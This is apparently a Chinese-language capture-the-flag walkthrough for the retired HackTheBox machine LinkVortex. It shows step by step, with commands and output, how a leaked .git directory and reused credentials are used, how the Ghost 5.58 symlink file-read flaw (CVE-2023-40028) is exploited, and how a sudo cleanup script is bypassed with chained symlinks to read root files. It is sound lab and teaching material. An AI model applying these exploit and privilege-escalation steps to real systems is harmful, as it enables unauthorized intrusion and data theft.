題目:

  • https://app.hackthebox.com/machines/LinkVortex

  • 靶機的 IP 以下統一用 HTB_TARGET_IP 代表 ( 每次 spawn 都不一樣,請自行代換 ) 。

  • 目標:

    • 拿到靶機上的 user.txt 和 root.txt 的內容。
  • 靶機已退役 ( 2024/12/07 release ,難度 Easy ) ,本文僅供教育與學習用途,請勿將文中技術用於未經授權的系統,文中也不會貼出 flag 內容。

nmap 掃描 HTB_TARGET_IP

sudo nmap -sSCV -Pn HTB_TARGET_IP
  • -sS 代表 SYN 掃描 ( 不進行完整的三次握手 ) 。

  • -sC 代表執行內建的預設腳本掃描。

  • -sV 代表服務版本探測。

  • -Pn 代表 no ping mode ( 適用於目標封鎖 ICMP 或防火牆過濾 ping 的情況 ) 。

大致結果:

22/tcp  open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd
|_http-server-header: Apache
|_http-title: Did not follow redirect to http://linkvortex.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

這樣代表 HTB_TARGET_IP 應該要 redirect 到 linkvortex.htb 。

設定 HTB_TARGET_IP redirect 到 linkvortex.htb

到 /etc/hosts 底部加入 IP 和對應域名:

HTB_TARGET_IP linkvortex.htb

這樣就可以直接從 browser 輸入 http://linkvortex.htb 查看網頁。

爆破 linkvortex.htb subdomain

用 ffuf 進行 subdomain 爆破:

# 使用的 wordlist :
# https://github.com/TheKingOfDuck/fuzzDicts/blob/master/subdomainDicts/main.txt

ffuf -u http://linkvortex.htb/ -w ./main.txt -H "Host:FUZZ.linkvortex.htb" -mc 200

根據指令結果可以找到有 dev.linkvortex.htb 這個 subdomain ,也要把它加入 /etc/hosts :

HTB_TARGET_IP linkvortex.htb dev.linkvortex.htb

這邊小總結一下:找 domain 跟 subdomain 的時候通常都是要先用 可以檢測到 的方法 ( 通常不會是 browser 直接輸入,不然這樣就不需要設定 IP-Host 對應表了 ) 先偵測出有甚麼名稱,之後再來設定 IP-Host 對應表。

用 browser 打開 dev.linkvortex.htb 有東西,但是沒看到甚麼有用的資訊,先把這個線索放著。

nmap 掃描 linkvortex.htb

既然前面有寫好 IP-Host 對應表,那這次就掃 linkvortex.htb :

sudo nmap -sSCV -Pn linkvortex.htb

大致結果:

22/tcp  open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd
|_http-generator: Ghost 5.58
| http-robots.txt: 4 disallowed entries
|_/ghost/ /p/ /email/ /r/
|_http-server-header: Apache
|_http-title: BitByBit Hardware
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

上面的結果有 robots.txt ( http://linkvortex.htb/robots.txt ) 並且可以看到它有 disallow 一些可疑的路徑。

robots.txt 等等的路徑其實可以直接用通靈的方式猜它就是有這個路徑,或者使用 dirsearch 爆破得到。

嘗試 http://linkvortex.htb/ghost

在 browser 輸入 http://linkvortex.htb/ghost 會到 http://linkvortex.htb/ghost/#/signin ,是一個登入介面。 ( 當時手動戳 SQL injection 沒有甚麼結果 )

目前卡在沒有手段通過或繞過登入介面。

nmap 掃描 dev.linkvortex.htb

sudo nmap -sSCV -Pn dev.linkvortex.htb

大致結果:

22/tcp  open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd
| http-git:
| HTB_TARGET_IP:80/.git/
| Git repository found!
| Repository description: Unnamed repository; edit this file 'description' to name the...
| Remotes:
| |_ https://github.com/TryGhost/Ghost.git
|_http-server-header: Apache
|_http-title: Launching Soon
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

可以看到它有 git leak ,並且還知道它應該是用 https://github.com/TryGhost/Ghost.git 這個專案。

對 http://dev.linkvortex.htb 的 git leak 攻擊

這邊有可能可以使用的專案,我這次是使用 GitHack :

https://github.com/lijiejie/GitHack ( 這題用這個 )
https://github.com/denny0223/scrabble ( 這題解不了,原因沒深究 )
python3 GitHack.py http://dev.linkvortex.htb/.git

觀察剛剛解出來的 git repository

可以用各種想得到的關鍵字去做整個專案的搜尋,這邊我使用 password :

grep -rn "password" dev.linkvortex.htb/ --include="*.js" | grep -v node_modules

可以看到許多有趣的資訊:

// dev.linkvortex.htb/ghost/core/test/regression/api/admin/authentication.test.js

// some code
const email = 'test@example.com';
const password = 'OctopiFociPilfer45';
// some code
name: 'test user',
email: 'test-leo@example.com',
password: 'thisissupersafe',
blogTitle: 'a test blog'
// some code
name: 'test user edit',
email: 'test-edit@example.com',
password: 'thisissupersafe',
blogTitle: 'a test blog'
// some code
const email = 'test@example.com';
const password = 'thisissupersafe';
// some code
token: 'lul11111',
password: 'lel123456',
email: 'not-invited@example.org',
name: 'not invited'
// some code
token: fixtureManager.get('invites', 0).token,
password: '12345678910',
email: fixtureManager.get('users', 0).email,
name: 'invited'
// some code
// 諸如此類...

會往 test/ 目錄看是因為測試相關檔案可能是 hardcoded credentials 的重災區 ( ? ) ,開發者很容易把測試時用的 password 直接留在 repository 裡面。

到這邊開始 "通靈" 要怎麼利用這些帳號密碼

專案裡面可以看到 password 之類的東西,但是帳號都是 test ,推測是測試用的檔案,但是 password 感覺 如果開發者懶得修改 ,而 沿用 test 時候的測試密碼 ,那就代表 可能有一組或者多組帳號適用 test 時期的密碼 ,先猜有 admin ,再來可以看到 email 那邊出現 example.com ,推測可能還要猜 domain name ( 畢竟 example.com 應該只是測試用 ) ,目前知道的 domain name 就是 linkvortex.htb ,那就先猜測帳號是:

admin@linkvortex.htb

接下來拿所有密碼嘗試看看 http://linkvortex.htb/ghost/#/signin ,就發現這組帳號密碼會直接可以登入:

帳號:
admin@linkvortex.htb
密碼:
OctopiFociPilfer45

進去之後有一個類似 admin 的介面。

接下來可能可以看 admin 有甚麼事情可以做,沒有想法的話可能可以查看看有沒有 CVE 可以直接做到某些事情。

使用 CVE-2023-40028

這邊首先可以從先前的 nmap 結果知道剛剛登入的管理系統是 Ghost ,並且版本是 5.58 。

找一下資料並且對應一下版本後發現有這個任意讀檔漏洞:

https://github.com/0xDTC/Ghost-5.58-Arbitrary-File-Read-CVE-2023-40028
  • About:

    • CVE-2023-40028 affects Ghost, an open source content management system, where versions prior to 5.59.1 allow authenticated users to upload files that are symlinks. This can be exploited to perform an arbitrary file read of any file on the host operating system.
  • 受影響版本為 Ghost ≤ 5.59.0 ,修補版本是 5.59.1 , CWE 分類是 CWE-22 ( 路徑穿越 ) + CWE-59 ( 符號連結處理不當 ) 。

  • 5.58 剛好是適用範圍。

  • 它的先決條件是自己要是 authenticated users ,而我們先前已經達到。

exploit 的核心其實只有兩行:

# 做一個指向目標檔案的 symlink ,副檔名偽裝成 .png
ln -s "$FILE_TO_READ" "$PAYLOAD_PATH/content/images/2024/$IMAGE_NAME.png"

# 打包時加上 -y , zip 才不會跟隨 symlink ,而是把連結本身存起來
zip -r -y $PAYLOAD_ZIP_NAME $PAYLOAD_PATH/

少了 -y , zip 會在自己的電腦上就把 symlink 跟到底、存成檔案內容,傳上去對靶機沒有意義。

Ghost 的修補其實不在 Ghost 本體:v5.59.0 → v5.59.1 沒有加任何 symlink 檢查,只是把 @tryghost/zip 從 1.1.34 升到 1.1.37 ,再補一個 regression test 。真正的檢查加在那個套件的 lib/extract.js ,新增了一個檢查函式:

function throwOnSymlinks(entry) {
// Check if symlink
const mode = (entry.externalFileAttributes >> 16) & 0xFFFF;
// check if it's a symlink or dir (using stat mode constants)
const IFMT = 61440;
const IFLNK = 40960;
const symlink = (mode & IFMT) === IFLNK;

if (symlink) {
throw new errors.UnsupportedMediaTypeError({
message: 'Symlinks in ZIP-files are not allowed'
});
}
}

然後把它套用到解壓流程上:

if (opts.onEntry) {
opts.onEntry = (entry, zipfile) => {
throwOnSymlinks(entry);
options.onEntry(entry, zipfile);
};
} else {
opts.onEntry = throwOnSymlinks;
}

重點在 throwOnSymlinks 怎麼判定。 zip 的每個 entry 都帶有 externalFileAttributes 欄位, Unix 打包時會把檔案 mode 寫進它的高 16 bits ,所以 >> 16 先把 mode 取出來。接著 & IFMT ( 程式碼裡的 61440 ) 這個遮罩只留下最高 4 個 bit ,那 4 個 bit 就是檔案類型:

mode   1010000111111111   ← fake.png 的 mode ( 0o120777 )
IFMT 1111000000000000 ← 遮罩,只留最高 4 bit
---------------- AND
1010000000000000 = IFLNK ( 40960 ) → 是 symlink ,擋下

被遮掉的後 12 個 bit 是權限 ( 777 ) ,判定類型時不看。一般檔案的前 4 bit 是 1000 、目錄是 0100 、 symlink 是 1010 ,所以只有 symlink 會命中。 IFMT 和 IFLNK 就是 inode(7) 裡定義的 S_IFMT / S_IFLNK 。

命中就丟 UnsupportedMediaTypeError ,對外是 HTTP 415 。

使用該工具任意讀檔:

chmod +x CVE-2023-40028
./CVE-2023-40028 -u admin@linkvortex.htb -p OctopiFociPilfer45 -h http://linkvortex.htb

進入該工具的 shell 後輸入檔案路徑就可以讀檔。

"通靈" 要讀什麼檔...

目前已經可以任意讀檔,但是還是不確定要讀哪個才是關鍵。

這邊要注意讀檔範圍是在 Ghost 的 container 裡面,不是宿主機 ,所以 /root/root.txt 這種檔案讀不到,思路要改成在 container 裡面找可以橫向移動到宿主機的憑證。

我這邊是先從 dev.linkvortex.htb/Dockerfile.ghost 去找,因為它會直接告訴我們這個 container 的檔案都放在哪,從該檔案可以找到這些路徑:

/var/lib/ghost/config.production.json
/var/lib/ghost/wait-for-it.sh
/entry.sh

嘗試過後 /var/lib/ghost/config.production.json 給出了一些有趣的資訊:

"mail": {
"transport": "SMTP",
"options": {
"service": "Google",
"host": "linkvortex.htb",
"port": 587,
"auth": {
"user": "bob@linkvortex.htb",
"pass": "fibber-talented-worth"
}
}
}

這邊找到的是 SMTP 服務的密碼,可以嘗試 SMTP 服務,但是同時也可以多多嘗試其他服務,因為可能會用相同的密碼!

發現 ssh 可以用上面找到的帳密登入

指令:

ssh bob@linkvortex.htb

密碼:

fibber-talented-worth

密碼重用成功,而且這次是真的登進 宿主機 了,不是 container 。登入後就可以直接看到 user.txt :

cat /home/bob/user.txt

接下來要想辦法提權,應該是要讀取 /root/root.txt 。

檢查 bob 權限

這邊可以先看一下 bob 能做到甚麼事情:

sudo -l
Matching Defaults entries for bob on linkvortex:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty,
env_keep+=CHECK_CONTENT

User bob may run the following commands on linkvortex:
(ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png

可以知道 bob 可以用 sudo 執行 /usr/bin/bash /opt/ghost/clean_symlink.sh *.png 這個特定指令。

另外 env_keep+=CHECK_CONTENT 這行代表 CHECK_CONTENT 可以被我們帶進 sudo 裡面( sudo 預設的 env_reset 會把其他環境變數清掉),這是最後提權指令能成立的前提。

檢查 /opt/ghost/clean_symlink.sh 的內容 ( 這邊有加上我的註解 )

#!/bin/bash

QUAR_DIR="/var/quarantined"

# 如果 CHECK_CONTENT 為空,就把它設成 false 。
if [ -z $CHECK_CONTENT ];then
CHECK_CONTENT=false
fi

# 第一個 terminal arg ,
# 以 sudo -l 的結果來看就是 *.png 。
LINK=$1

# 確保第一個 terminal arg 是 .png 結尾。
# "=~" 代表要用正則表達式比較,
# "\" 讓 "." 就是 "." 而不是代表特殊意義。
# "$" 代表結尾要是特定字串
if ! [[ "$LINK" =~ \.png$ ]]; then
/usr/bin/echo "! First argument must be a png file !"
exit 2
fi

# 用 sudo 權限,並且使用 test -L 指令來測試
# *.png 是不是 symlink 。
if /usr/bin/sudo /usr/bin/test -L $LINK;then

# 用 basename 指令來取得 symlink 檔案名稱。
LINK_NAME=$(/usr/bin/basename $LINK)

# 用 readlink 指令來取得 symlink 實際指向的路徑
LINK_TARGET=$(/usr/bin/readlink $LINK)

# 檢查連結是否指向 etc 、 root 相關的位置。
if /usr/bin/echo "$LINK_TARGET" | /usr/bin/grep -Eq '(etc|root)';then
# 有指向就 unlink 。
/usr/bin/echo "! Trying to read critical files, removing link [ $LINK ] !"
/usr/bin/unlink $LINK
else
# 沒有指向就把連結放到 /var/quarantined/ 裡面。
/usr/bin/echo "Link found [ $LINK ] , moving it to quarantine"
/usr/bin/mv $LINK $QUAR_DIR/

# 如果 CHECK_CONTENT 這個變數是 true
# 就用 cat 把 symlink 所指向的內容印出來。
if $CHECK_CONTENT;then
/usr/bin/echo "Content:"
/usr/bin/cat $QUAR_DIR/$LINK_NAME 2>/dev/null
fi
fi
fi

以上 script 告訴我們它主要是用來讀取 symlink 所連結到的內容,但是我們需要的 /root/root.txt 又會被它擋掉,可能要想辦法繞過它。

觀察 /opt/ghost/clean_symlink.sh 可以知道它是使用 readlink 指令來解析 "最終位置" ,然後用它認為的 "最終位置" 來當作過濾 etc 、 root 的依據。

readlink 補充 ( 假設現在有一個 symlink 是 a --> b --> c ) :

  • readlink a 會得到 b ,只會印出 該連結的直接目標 。

  • readlink -f a 會得到 c ,會遞迴解析到最後。

可以看到 script 裡面沒有使用 -f ,所以它會解到第一層而已,那就使用兩層 symlink 來繞過檢查即可。

Sticky Bit 與 Symlink 衝突的補充:

  • https://forum.hackthebox.com/t/official-linkvortex-discussion/333971/282?page=10

  • Sticky Bit 在 Linux 中主要是確保只有擁有者或 root 能夠刪除或修改。

  • 當用戶嘗試從有 sticky bit 的目錄內建立一個 symlink 到 root 擁有的檔案,並讓某個權限較高的 process ( 例如 root ) 去讀取該 symlink 時, Linux kernel 的某些 安全保護機制 會介入,導致 root process 無法解析這個 symlink 。

用多個 symlink 繞過 script 限制,並且用新創的 folder 來繞過有 sticky bit 的 /tmp 會觸發的 Linux kernel 安全保護機制,這樣就可以拿到 /root/root.txt 的內容了:

mkdir -p /tmp/new_folder
ln -s /root/root.txt /tmp/new_folder/test1.png
ln -s /tmp/new_folder/test1.png /tmp/test2.png
sudo CHECK_CONTENT=true /usr/bin/bash /opt/ghost/clean_symlink.sh /tmp/test2.png

BTW grep -Eq '(etc|root)' 是 子字串比對 ,不是比對路徑層級。所以中繼 symlink 的路徑裡面不能出現 etc 或 root 這兩個子字串,像 fetch.png ( f-etc-h ) 就會莫名其妙被擋掉,取名字的時候要小心。

LinkVortex has been Pwned